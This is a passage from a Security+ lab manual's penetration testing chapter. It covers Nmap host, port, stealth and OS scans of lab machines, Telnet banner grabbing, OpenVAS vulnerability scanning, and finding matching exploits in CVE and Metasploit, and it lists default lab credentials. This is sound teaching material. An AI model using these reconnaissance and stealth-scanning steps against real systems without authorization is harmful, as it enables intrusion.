over the network than if it is stored on a hard drive.
One of the ways security professionals improve the security of their
network is by performing a penetration test. Penetration testing follows
a methodology similar to that of attackers of the network, only without
malicious payloads or unauthorized access. By performing a penetration
test, vulnerabilities in the system are revealed and can be remediated.
Good penetration testers are able to think like attackers and keep up with
the new attacks so they are better prepared should they be the target of
one. This section introduces the tools and techniques of a penetration
test and then reviews different types of malicious code that can be used
to compromise the confidentiality, integrity, and availability of the
information on your network.
Part II: Vulnerabilities and Threats: How Can Systems Be Compromised?
ch04.indd 84 11/17/10 10:15:29 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4 / Blind Folio 85
Penetration Testing
Labs Lab 4.1 IP Address and Port Scanning, Service Identity •
Determination
Lab 4.1w Using Nmap in Windows
Lab 4.1 Analysis Questions
Lab 4.1 Key Terms Quiz
Lab 4.2 GUI-Based Vulnerability Scanners•
Lab 4.2m Using a Vulnerability Scanner (OpenVAS)
Lab 4.2 Analysis Questions
Lab 4.2 Key Terms Quiz
Lab 4.3 Researching System Vulnerabilities•
Lab 4.3i Researching System Vulnerabilities
Lab 4.3 Analysis Questions
Lab 4.3 Key Terms Quiz
Lab 4.4 Using Metasploit•
Lab 4.4l Using the Metasploit Framework
Lab 4.4 Analysis Questions
Lab 4.4 Key Terms Quiz
Lab 4.5 Password Cracking•
Lab 4.5l Password Cracking
Lab 4.5 Analysis Questions
Lab 4.5 Key Terms Quiz
Chapter 4
ch04.indd 85 11/17/10 10:15:29 AM
Chapter 4: Penetration Testing86
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Penetration testing is a method of testing a network’s security by using various tools and techniques common to attackers. The methodology
used is similar to that of an attacker: enumerate the network, assess
vulnerabilities, research vulnerabilities for known exploits, and then use
tools available to penetrate the network.
Enumerating a network to discover what machines are attached and
operating is a useful task for both an intruder and a system administrator.
The information gained from a network scan assists in the determination
of the actual current layout. Several tools and techniques exist for both the
Windows and Linux platforms to perform these tests. Once the devices and
their open ports have been identified, a vulnerability scanner can be used.
The scanner will use its database of vulnerabilities to test if the system
has any of them. These vulnerabilities are further researched online, and
then utilities that can be used to penetrate the network are retrieved and
executed. A good penetration test should result in a report that explains
the weaknesses found, lists them from most critical to least critical, and
provides suggestions for improving the network’s security.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s
companion online learning center at www.securityplusolc.com.
Lab 4.1: IP Address and Port Scanning, Service Identity Determination Nmap is a popular scanning utility that is available for download from the Internet at no cost. It is a
powerful tool that includes many functions. The Nmap utility can quickly and easily gather information
about a network’s hosts, including their availability, their IP addresses, and their names. This is useful
information not only for a network administrator, but for a hacker as well, prior to an attack. One of
the first tasks a hacker will carry out is to perform a scan of the network for hosts that are running.
Once the user knows what hosts are accessible, he or she will then find a means to gather as much
information about the hosts as possible.
ch04.indd 86 11/17/10 10:15:30 AM
Lab 4.1w: Using Nmap in Windows 87
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Once an attacker has identified the hosts, ports, and services that are available, he or she will want to
identify the operating system that is running on the host. Nmap achieves this by using a technique called
stack fingerprinting. Different operating systems implement TCP/IP in slightly different ways. Though
subtle, the differentiation of these responses makes it possible to determine the operating system.
In addition to identifying the operating system, the attacker will want to gain more information
about the services that are running on the target computer, such as the type of server and version (for
example, Internet Information Services [IIS] version 6 or version 7). This information is contained in
the service’s banner. The banner is usually sent after an initial connection is made. This information
greatly improves the ability of the attacker to discover vulnerabilities and exploits.
The network traffic that is generated by Nmap can have distinct qualities. These qualities, such as
the number of packets sent or the timing between packets, do not resemble the qualities of “normal”
traffic. These qualities make up its signature. Nmap can be configured to hide its activity over time,
attempting to mask its signature from being easily discovered.
In this lab you will use Nmap to identify the computers that are on the network, enumerate the
ports on the computers that were located, and then look at the network traffic generated by these
actions. You will then use Nmap to scan the ports stealthily and compare the method to the previous
scan. To observe service banners, Telnet will be used to obtain the banners from IP/port combinations
obtained from Nmap scans.
Learning Objectives After completing this lab, you will be able to
Use Nmap to scan a network for hosts that are up.•
Use Nmap to enumerate the ports and services available on a host.•
Identify the qualities of the Nmap ping sweep signature.•
Explain the different methods Nmap uses to enumerate the ports normally and stealthily.•
Determine and interpret service information from banners obtained via Telnet.•
S 30 minutes
Lab 4.1w: Using Nmap in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
ch04.indd 87 11/17/10 10:15:30 AM
Chapter 4: Penetration Testing88
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
In addition you will need
Wireshark•
Nmap•
Lab Steps at a Glance
Step 1: Start the Windows 2003 Server and Windows XP Professional machines. Only log on to
the Windows XP machine.
Step 2: Start Wireshark.
Step 3: Use Nmap to scan the network.
Step 4: Analyze the output from Wireshark.
Step 5: Use Nmap to scan open TCP ports.
Step 6: Use Wireshark to analyze the scan.
Step 7: Use Nmap to do a stealth scan on the computer.
Step 8: Use Wireshark to analyze the scan.
Step 9: Use Nmap to enumerate the operating system of the target computer.
Step 10: Use Telnet to connect to the web server, FTP server, and SMTP banner.
Step 11: Log off from the Windows XP Professional PC.
Lab Steps
Step 1: Start the Windows 2003 Server and Windows XP Professional machines. Only log on
to the Windows XP machine.
To log on to the Windows XP Professional PC:
1. At the Login screen, click the Admin icon.
2. In the password text box, type password and press enter.
Step 2: Start Wireshark.
You are going to launch Wireshark to capture Nmap-generated network traffic and analyze how it
discovers active hosts.
1. On the Windows XP Professional desktop, double-click Wireshark.
2. On the Wireshark menu, choose Capture | Interfaces.
3. Next to the interface with the IP address 192.168.100.101, click Start.
ch04.indd 88 11/17/10 10:15:30 AM
Lab 4.1w: Using Nmap in Windows 89
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Step 3: Use Nmap to scan the network.
1. Choose Start | Run.
2. In the Open field, type cmd and click OK.
3. At the command line, type nmap and press enter.
Observe the output.a.
What version of Nmap are you running?b.
What is the option for a ping scan?c.
4. At the command line, type nmap –sP 192.168.100.* and press enter, as shown in Figure 4-1.
The –sP option tells Nmap to perform a ping scan. The * at the end of the address means to scan for every host address on the 192.168.100 network. The scan should take about 20 to
30 seconds.
Observe the output.a.
How many hosts did Nmap find?b.
What is the IP address of the host?c.
How long did the scan take?d.
Step 4: Analyze the output from Wireshark.
1. Click on the Wireshark Capture screen and click Stop. See Figure 4-2.
2. Identify the qualities of the ping sweep signature.
Observe the output.a.
Why are there so many ARP broadcasts?b.
What can you tell about the timing between broadcasts?c.
Figure 4-1 Using Nmap to perform a scan of the network
ch04.indd 89 11/17/10 10:15:30 AM
Chapter 4: Penetration Testing90
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
What do you notice about the source addresses?d.
What do you notice about the broadcast addresses?e.
3. On the Wireshark menu, choose Capture | Interfaces.
4. Next to the interface with the IP address 192.168.100.101, click Start. In the Save Capture File Before Starting a New Capture? dialog box, click Continue Without Saving.
Step 5: Use Nmap to scan open TCP ports.
1. At the command line, type nmap –sT 192.168.100.102 and press enter.
The –sT option tells Nmap to perform a TCP port scan. This is a full connection scan. The scan should take about eight to ten minutes.
Observe the output.a.
How many ports did it find?b.
How long did the scan take?c.
Figure 4-2 Traffic generated by Nmap scan
ch04.indd 90 11/17/10 10:15:31 AM
Lab 4.1w: Using Nmap in Windows 91
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Step 6: Use Wireshark to analyze the scan.
1. Click on the Wireshark Capture screen and click Stop.
Observe the output.a.
How many packets did Wireshark capture?b.
Look at the signature of the scan. Notice that there are many SYN packets sent from 192.168.100.101 (the computer doing the scanning) and many RST/ACK packets being sent back.
RST/ACK is the response for a request to connect to a port that is not open.
Look at what happens when an open port is discovered. If you look at the output from the Nmap scan, you know that port 80, the HTTP service port, is open. To find those particular
packets out of the thousands of packets captured, you will need to filter out the unwanted
traffic.
2. In the Filter box, type tcp.port==80 and press enter. (Note: There should be no spaces between any of the characters typed in the Filter box.)
Look at the last four packets captured. Note the SYN, SYN/ACK, and ACK packets. A three-way handshake was completed so that the port could be established as open. This is okay, but it is
very noisy and can show up in the server logs. The last of the four packets is an RST sent by
the scanning computer.
3. Click Clear to the right of the Filter box.
4. On the Wireshark menu, choose Capture | Interfaces.
5. Next to the interface with the IP address 192.168.100.101, click Start.
6. In the Save Capture File Before Starting a New Capture? dialog box, click Continue Without Saving.
Step 7: Use Nmap to do a stealth scan on the computer.
1. At the command line, type nmap –sS 192.168.100.102 and press enter.
The –sS option tells Nmap to perform a TCP SYN stealth port scan. Since this type of scan requires Nmap to behave on the network in an atypical manner, you must have
administrative rights. The scan should take about one second.
Observe the output.a.
How many ports did it find? Compare this to the number of ports found with a TCP scan.b.
How long did the scan take? Compare this to the amount of time it took with the TCP scan.c.
Step 8: Use Wireshark to analyze the scan.
1. Click on the Wireshark Capture screen and click Stop.
Observe the output.a.
How many total packets were captured? How does this compare to the previous capture?b.
ch04.indd 91 11/17/10 10:15:31 AM
Chapter 4: Penetration Testing92
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
2. In the Filter box, type tcp.port==80 and press enter. (Note: There should be no spaces between the characters.)
Look at the last three packets. Note that this time the three-way handshake is not completed. The SYN packet is sent and the SYN/ACK is returned, but instead of sending back an ACK, the
scanning computer sends an RST. This will allow the scanning computer to establish that the
port is in fact opened, but is less likely to be registered in the logs.
3. Close Wireshark and do not save the results.
Step 9: Use Nmap to enumerate the operating system of the target computer.
1. Choose Start | Run.
2. In the Open field, type cmd and click OK.
3. At the command line, type nmap –O 192.168.100.102 and press enter.
The –O option tells Nmap to perform the scan and guess what operating system is on the computer. The scan should take about four seconds.
Observe the output.a.
What was the guess made by Nmap? Was it correct?b.
Step 10: Use Telnet to connect to the web server, FTP server, and SMTP banner.
1. At the command line, type telnet 192.168.100.102 80 and press enter.
2. At the prompt, type get and press enter. (Note that you will not see the characters as you type.)
Observe the output.a.
What web server is being used?b.
What version of the web server is being used?c.
3. At the command line, type telnet 192.168.100.102 21 and press enter.
Observe the output.a.
What FTP server is being used?b.
What version of the server is being used?c.
At the prompt, type d. quit and press enter.
4. At the command line, type telnet 192.168.100.102 25 and press enter.
Observe the output.a.
What version of SMTP is being used?b.
Type c. quit and press enter.
5. Close the command prompt.
ch04.indd 92 11/17/10 10:15:32 AM
Lab 4.1w: Using Nmap in Windows 93
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Step 11: Log off from the Windows XP Professional PC.
To exit from the Windows XP Professional PC:
1. Choose Start | Log Off.
2. At the Log Off Windows screen, click Log Off.
Lab 4.1 Analysis Questions The following questions apply to the lab in this section:
1. An attacker has discovered a vulnerable computer with the IP address 192.168.201.10. What tool might the attacker use to determine if there are other vulnerable computers on the
network, and what command would the attacker use?
2. What Nmap option would you use if you wanted to perform a TCP port scan?
3. How would you use Nmap to perform a TCP port scan on a computer with the IP address 192.168.220.101?
4. At the command line, type nmap. What option can you use to perform a UDP port scan? A TCP SYN stealth port scan?
5. Look at the following six packets captured. What is the IP address of the scanning machine? What is the IP address of the machine that was found? What can you tell from the following
information?
No. Time Source Destination Prot Info 99 18.557275 172.16.201.101 Broadcast ARP Who has 172.16.201.99? Tell 172.16.201.101 100 18.557603 172.16.201.101 Broadcast ARP Who has 172.16.201.100? Tell 172.16.201.101 101 18.560688 173.16.201.101 172.16.201.102 ICMP Echo (ping) request 102 18.560994 172.16.201.101 172.16.201.102 TCP 54631 > http [ACK] Seq=0 Ack=0 Win=4096 Len=0 103 18.561293 172.16.201.101 Broadcast ARP Who has 172.16.201.103? Tell 172.16.201.101 104 18.561642 172.16.201.101 Broadcast ARP Who has 172.16.201.104? Tell 172.16.201.101
6. Based on the following information, what server software is on the target machine, and what is the version number of the server program?
220 win2kserv Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready at Sat,
25 Sep 2004 18:07:58 -0400
ch04.indd 93 11/17/10 10:15:32 AM
Chapter 4: Penetration Testing94
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
7. Based on the following information, what server software is on the target machine, and what is the version number of the server program?
220 win2kserv Microsoft FTP Service (Version 5.0).
8. Based on the following information, what server software is on the target machine, and what is the version number of the server program?
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 25 Sep 2004 22:11:11 GMT
Content-Type: text/html
Content-Length: 87
9. Based on the following information, what server software is on the target machine, and what is the version number of the server program?
Connected to 198.0.1.1.
Escape character is '^]'.
220 (vsFTPd 1.2.0)
10. Based on the following information, what server software is on the target machine, and what is the version number of the server program?
Connected to 4.0.4.13.
Escape character is '^]'.
+OK POP3 linuxserv v2003.83rh server ready
Lab 4.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
banner
enumerate
Nmap
port scan
scan
signature
ch04.indd 94 11/17/10 10:15:32 AM
Lab 4.1w: Using Nmap in Windows 95
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
stack fingerprinting
stealth
1. ___________________ is a popular tool used by both network administrators and attackers alike to discover hosts on a network.
2. The qualities and characteristics of the network traffic generated by Nmap’s ping scan are called its ___________________.
3. An attacker could use Nmap to perform a(n) ____________________ to see what ports are open.
4. Performing a(n) ____________________ scan with Nmap can help an attacker avoid detection.
5. The information provided by an application when connecting to its port is called the _________________.
6. _____________________ is the method used by Nmap to determine the operating system of the target computer.
Follow-Up Labs Lab 4.2:• GUI-Based Vulnerability Scanners Use automated software to reveal vulnerabilities of an operating system.
Lab 4.3:• Researching System Vulnerabilities Research vulnerabilities on the Internet.
Lab 7.3:• Using Firewalls Use firewalls to block attacks.
Lab 9.2:• Intrusion Detection Systems Use an IDS to detect when an attack is underway.
Suggested Experiments 1. Explore the syntax for different ranges of scans. For instance, how would you scan all hosts
on the networks 192.168.1.0, 192.168.2.0, 192.168.3.0, and 192.168.4.0?
2. Try the same general steps in this lab using the Linux computers.
3. Put other hosts on the network, change the IP addresses, and scan the network again for the computers.
4. Compare the usage of Nmap in Windows and Linux. Are there any differences in performance or functionality?
References Nmap• www.insecure.org
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 15
ch04.indd 95 11/17/10 10:15:32 AM
Chapter 4: Penetration Testing96
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab 4.2: GUI-Based Vulnerability Scanners So far, you have looked at different ways to acquire information about a network, the hosts that are on
them, the operating systems used, and the ports and services that are available. Wouldn’t it be nice if
there were tools that could do all of that in just one package? Vulnerability scanners are a convenient
tool for this use. Many vulnerability scanners include the ability to ping scan, port scan, OS fingerprint,
and even identify vulnerabilities that can be used either to patch or attack a computer.
One such vulnerability scanner is OpenVAS. OpenVAS stands for Open Vulnerability Assessment
System. This tool is a spinoff from another popular vulnerability scanner called Nessus. OpenVAS is
used by security consultants and network administrators to perform vulnerability audits. OpenVAS uses
plugins to scan for individual types of vulnerabilities. New plugins are added and updated often since
new vulnerabilities are discovered all the time. It is always a good idea to update your plugins before
running the vulnerability scan.
OpenVAS is a vulnerability scanner for the Linux environment and is made up of three parts:
client, server, and plugins. The server actually performs the scans. The client connects to the server and
configures it to run the scan. The plugins are the routines that scan for particular vulnerabilities.
In this lab you will use the OpenVAS vulnerability scanner to discover the vulnerabilities of a target
computer and analyze the output.
Learning Objectives After completing this lab, you will be able to
Use a vulnerability scanner to discover vulnerabilities in a machine.•
Analyze the output of the scan.•
S 40 minutes
Lab 4.2m: Using a Vulnerability Scanner (OpenVAS)
Materials and Setup You will need the following:
BackTrack•
Windows XP Professional•
Windows 2003 Server•
In addition you will need
OpenVAS•
ch04.indd 96 11/17/10 10:15:33 AM
Lab 4.2m: Using a Vulnerability Scanner (OpenVAS) 97
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab Steps at a Glance
Step 1: Start the BackTrack, Windows XP Professional, and Windows 2003 Server PCs. Only log on
to the BackTrack PC.
Step 2: Configure OpenVAS to scan the computers.
Step 3: Scan the computers and analyze the report.
Step 4: Log off from the BackTrack PC.
Lab Steps
Step 1: Start the BackTrack, Windows XP Professional, and Windows 2003 Server PCs. Only
log on to the BackTrack PC.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
➜ Note
Because OpenVAS is updated regularly, some screenshots in this chapter may differ from what
you see, but the general steps should remain the same.
Step 2: Configure OpenVAS to scan the computers.
1. At the command line, type startx and press enter.
➜ Note
When you start OpenVAS for the first time, you run the Make Cert program and then the Add
User program. You should also run updates. This exercise assumes these steps have already been
done.
2. Choose K Menu | BackTrack | Vulnerability Identification | OPENVAS | OpenVAS Server. OpenVAS will load the plugins. At the time of this writing, there were well over 18,000 plugins.
➜ Note
The server will load the plugins, which may take several minutes.
ch04.indd 97 11/17/10 10:15:33 AM
Chapter 4: Penetration Testing98
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
You will see the message “All plugins loaded” when the server is done loading them.
Now you need to connect the OpenVAS Client to the OpenVAS server.
3. Choose K Menu | BackTrack | Vulnerability Identification | OPENVAS | OpenVAS Client.
✔ Hint
Maximize the client screen and adjust the size of the sections as necessary.
4. In the OpenVAS Client interface, choose File | Connect.
5. In the Connect to OpenVAS Server screen, set the following:
Hostname: localhost Port: 9390
Login: root
Password: toor
6. Click OK.
7. In the SSL Setup dialog box, select Display and Remember the Server Certificate, Do Not Care About the CA, and then click OK.
8. When prompted “Do you accept this certificate?” click Yes.
The client program now loads the plugins. This again will take a few minutes to complete.
When the client has completed loading the plugins, you will get the message “Found and enabled plugins.”
9. On the Found Plugins screen, click OK.
The client is now ready to be configured for a scan. See Figure 4-3.
10. Choose Task | New.
11. For the name, type Windows Scan and then press enter.
12. Choose Scope | New.
13. In the New Scope text box, type Windows scope and press enter.
Before you execute the scan, take a look at how the information is displayed on the Plugins tab. At the top of the screen is the Plugin Selection window. The items listed are the plugin
“families.”
14. Choose File | Connect. The Scope will then load the modules. This process can take up to ten minutes depending on hardware specifications. Before you execute the scan, take a look at
how the information is displayed on the Plugins tab. At the top of the screen is the Plugin
Section window. The items listed are the plugin “families.”
15. In the OpenVAS Client interface, click both Disable All and Collapse All.
ch04.indd 98 11/17/10 10:15:33 AM
Lab 4.2m: Using a Vulnerability Scanner (OpenVAS) 99
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
16. Expand the Windows: Microsoft Bulletins plugin family.
17. Double-click the first item listed.
What is the name of the plugin?a.
What is the category?b.
What is the CVE number?c.
In the Plugin description area, scroll down to Impact: what is the Impact?d.
18. Close the plugin details screen.
➜ Note
If you select Enable All, this will also run plugins that can potentially crash the computers that
you are scanning. You should not do this in a production environment and never without the
proper permission from the network’s designated authority.
Figure 4-3 The OpenVAS Client
ch04.indd 99 11/17/10 10:15:34 AM
Chapter 4: Penetration Testing100
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
19. In the Plugin Selection window, select the check boxes next to Windows and Windows: Microsoft Bulletins.
20. Click the Options tab and select Target Selection.
In the Target box, type 192.168.100.101, 192.168.100.102.
You are now ready to start the scan.
Step 3: Scan the computers and analyze the report.
1. Choose Scope | Execute.
This scan may also take a few minutes to run.
2. On the left side of the OpenVAS Client, click the Report tab.
3. In the Host/Port/Severity section, click 192.168.100.102.
4. In the Port section, click on the first port listed.
Notice that the Severity section displays Notes, Warnings, or Holes (if any are available).
5. In the Severity section, select Security Hole.
In the bottom section, notice that the details regarding the holes are now displayed.
What is the first port listed?a.
What is the name of the hole for that port?b.
What is the solution?c.
What is (are) the CVE reference number(s)?d.
Feel free to look at the other vulnerabilities listed.e.
6. Close the Report tab.
7. When prompted to save, select No.
8. Close OpenVAS.
Step 4: Log off from the BackTrack PC.
1. Choose K Menu | Log Out.
2. Click OK.
3. At the command line, type logout and press enter.
ch04.indd 100 11/17/10 10:15:34 AM
Lab 4.2m: Using a Vulnerability Scanner (OpenVAS) 101
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab 4.2 Analysis Questions The following questions apply to the lab in this section:
1. When running a vulnerability scanner on a production network, what must you take into consideration?
For questions 2–4, use the following information from a vulnerability scan report for your answers.
Reported by NVT "Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Remote" (1.3.6.1.4.1.25623.1.0.900233):
Overview• This host has critical security update missing according to Microsoft Bulletin MS09-001.
Vulnerability Insight• The issue is due to the way Server Message Block (SMB) Protocol software handles specially crafted SMB packets.
Impact• Successful exploitation could allow remote unauthenticated attackers to cause denying the service by sending a specially crafted network message to a system running
the server service.
Impact Level• System/Network
Affected Software/OS• Microsoft Windows 2K Service Pack 4 and prior. Microsoft Windows XP Service Pack 3 and prior.
Microsoft Windows 2003 Service Pack 2 and prior.
Fix• Run Windows Update and update the listed hotfixes or download and update mentioned hotfixes in the advisory from the below link:
www.microsoft.com/technet/security/bulletin/ms09-001.mspx
References• www.milw0rm.com/exploits/6463
www.microsoft.com/technet/security/bulletin/ms09-001.mspx
CVSS Base Score• 7.1 (AV:N/AC:M/Au:NR/C:N/I:N/A:C)
Risk Factor• High
CVE• CVE-2008-4114, CVE-2008-4834, CVE-2008-4835
2. What is the impact of this vulnerability?
ch04.indd 101 11/17/10 10:15:34 AM
Chapter 4: Penetration Testing102
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
3. Where would you go to find out more information about the vulnerability?
4. Now that you have discovered this vulnerability, what would you do to correct it?
Lab 4.2 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
plugins
vulnerability audit
1. A vulnerability scanner might use ______________ to discover individual vulnerabilities.
2. A vulnerability scanner such as OpenVAS might be used by network administrators during a ______________________.
Follow-Up Labs Lab 4.4: Using Metasploit• Now that the vulnerability scanner has found possible vulnerabilities, Metasploit is a tool that can be used to test some vulnerabilities.
Lab 5.2: Web Browser Exploits• One vulnerability that exists on the machines allows for the browser to be exploited. See how this is done in this exercise.
Suggested Experiments 1. Start Ethereal and run another vulnerability scan, but this time select only the plugin for
SMB Null Param Count DOS. Take a look at the captured packets that were used to bring down
the server. How many packets did it take? What type of packets did it send?
2. Try creating your own custom plugin set and running a scan with it.
3. Search the Metasploit database to see if there are exploits to match the vulnerabilities discovered.
4. Test other vulnerability scanners such as Nessus.
References OpenVAS• www.openvas.org
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapters 3 and 15
ch04.indd 102 11/17/10 10:15:34 AM
Lab 4.3i: Researching System Vulnerabilities 103
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab 4.3: Researching System Vulnerabilities In previous labs, you were able to locate a target machine and discover its operating system, the ports
that were open, and the types of services the machine was running. Armed with this information, you
can use the Internet to explore a wealth of sites that have listings of vulnerabilities. The vulnerabilities
could be associated with an operating system, service, or application. There are sites that list not only
vulnerabilities, but also exploits, the methods with which those vulnerabilities can be exploited. One
such source of information is the Common Vulnerabilities and Exposures (CVE) database. This database
uses unique numbers for each new vulnerability so that it is easier to refer to the vulnerabilities and
the solutions for them.
Vulnerabilities are known openings in systems that can be exploited by users. The discovery of new
vulnerabilities is time-consuming and difficult, but once vulnerabilities are known and published, they
can be easy to exploit. Script kiddies is an industry term for individuals who download exploits and
hack utilities to use on networks. Script kiddies don’t have much skill or networking knowledge. In fact,
often they do not even know exactly what the hack utility is doing.
The CVE database is maintained by MITRE Corporation. MITRE is a not-for-profit organization
chartered to work in the public interest, and specializes in engineering and information technology.
MITRE maintains a community-wide effort, US-CERT–sponsored list of vulnerabilities, and additional
vulnerability-related information.
Learning Objectives After completing this lab, you will be able to
Search the CVE database for relevant vulnerabilities.•
Search the Internet for information on relevant vulnerabilities.•
Search for an exploit that matches a vulnerability.•
S 25 minutes
Lab 4.3i: Researching System Vulnerabilities
Materials and Setup You will need the following:
A computer with Internet connectivity•
ch04.indd 103 11/17/10 10:15:35 AM
Chapter 4: Penetration Testing104
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab Steps at a Glance
Step 1: Log on to a computer with Internet access.
Step 2: Search Google for information.
Step 3: Search the CVE database.
Step 4: Search Metasploit.com.
Step 5: Log off from the computer.
Lab Steps
Step 1: Log on to a computer with Internet access.
In this lab, you can use any machine that is connected to the Internet. Log on to that machine and
connect to the Internet.
Step 2: Search Google for information.
In previous labs you discovered a number of ports and services. For this exercise you will focus
primarily on what vulnerabilities and exploits you find for Microsoft Internet Information Server 5.0.
1. Open a web browser that is configured on your machine.
2. Enter the URL www.google.com/.
3. In the Google search box, type Windows 2003 server vulnerabilities exploits.
How many hits did your search result in?a.
What were the domain names of the top five hits (such as Microsoft.com, Mitre.org, and b. so on)?
Did your search turn up a specific vulnerability? If so, which one?c.
Look at the particular vulnerability described in Microsoft Security Bulletin MS08-067. If
that did not come up in your search, search for it now in Google.
What does this vulnerability allow an attacker to do?d.
➜ Note
The information will vary as new exploits are discovered.
In this search you found many sites that specialize in reporting security vulnerabilities. You may
find that each site uses a different identifier for a particular vulnerability. The vulnerability-reporting
community has found that having a single identifier for each vulnerability ensures commonality when
ch04.indd 104 11/17/10 10:15:35 AM
Lab 4.3i: Researching System Vulnerabilities 105
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
working on a problem involving that vulnerability. The single identifier is called a CVE Identifier
(Common Vulnerabilities and Exposures).
Step 3: Search the CVE database.
1. In the address bar of your browser, type www.cve.mitre.org/.
2. Click on the Search link.
3. Click on Search NVD link.
4. In the Keyword Search box, type Microsoft Windows 2003 Server and click Search All.
How many vulnerabilities did your search return?
Next, take a look at a specific vulnerability. Search for the MS Bulletin you discovered in the Google search.
ch04.indd 105 11/17/10 10:15:35 AM
Chapter 4: Penetration Testing106
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
5. Click the Back button in your browser, enter MS08-067 in the Keyword Search box, and click Search All.
6. Click on the CVE-2008-4250 link at the top of the search results.
What is the Impact Subscore?a.
What is the Exploitability Subscore?b.
Read the information regarding the vulnerability.c.
In the following lab, you will test this exploit to see how it works and what it allows a user to do.
Step 4: Search Metasploit.com.
You will now go to the Metasploit web site to search its database to see if it has an exploit to match the
vulnerability.
1. In the address bar of your browser, type www.metasploit.com/modules/.
2. Type the number of the CVE identifier or the MS Bulletin in the appropriate box and click Search Modules.
Does an exploit for the vulnerability exist in the Metasploit Framework?a.
If so, what is the rank?b.
Step 5: Log off from the computer.
Log off from the machine that can access the Internet.
Lab 4.3 Analysis Questions The following questions apply to the lab in this section:
1. You are a network administrator for a small business. Your boss is considering having you set up an FTP server. He would like to know if there are any known vulnerabilities with IIS FTP
servers. What steps would you take to answer his question?
2. CVE-2003-0994 relates to what products?
3. Using the Internet as a resource, look for one vulnerability with an FTP service in CVE. With that CVE identified, search for information on how that vulnerability can be exploited.
ch04.indd 106 11/17/10 10:15:36 AM
Lab 4.4: Using Metasploit 107
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
Lab 4.3 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
Common Vulnerabilities and Exposures (CVE)
exploit
script kiddies
1. A method used to take advantage of a vulnerability is called a(n) ________________.
2. Attackers who don’t have much knowledge about networking or the exploits they employ are called _________________.
Follow-Up Labs Lab 4.1: IP Address and Port Scanning, Service Identity Determination• Use NMAP to discover computers on a network and the ports they have open.
Lab 4.2: GUI-Based Vulnerability Scanners• Use automated software to reveal vulnerabilities of an operating system.
Lab 5.2: Web Browser Exploits• Learn how exploits can be applied to a web browser to get full access.
Suggested Experiment Use Nmap or netstat to find the open ports on your computer and search for related vulnerabilities.
References Astalavista• www.astalavista.com
CVE•
www.cve.mitre.org•
www.cvedetails.com•
Google• www.google.com
Metasploit• www.metasploit.com
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapters 3 and 15
Lab 4.4: Using Metasploit When penetration testers discover potential vulnerabilities in the network, they may use tools to test if
the vulnerability is actually susceptible to attack. One popular tool is the Metasploit Framework (MSF),
which is used to create code that can exploit vulnerabilities. These exploits can have different payloads.
Payloads are the actual code that is executed on the target system such as creating a reverse shell or
ch04.indd 107 11/17/10 10:15:36 AM
Chapter 4: Penetration Testing108
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 4
setting up a remotely accessible server. As new code is developed for newly discovered vulnerabilities,
a plugin is created and then added to the repository.
Learning Objective After completing this lab, you will be able to
Use the Metasploit Framework to exploit a given vulnerability.•
S 40 minutes
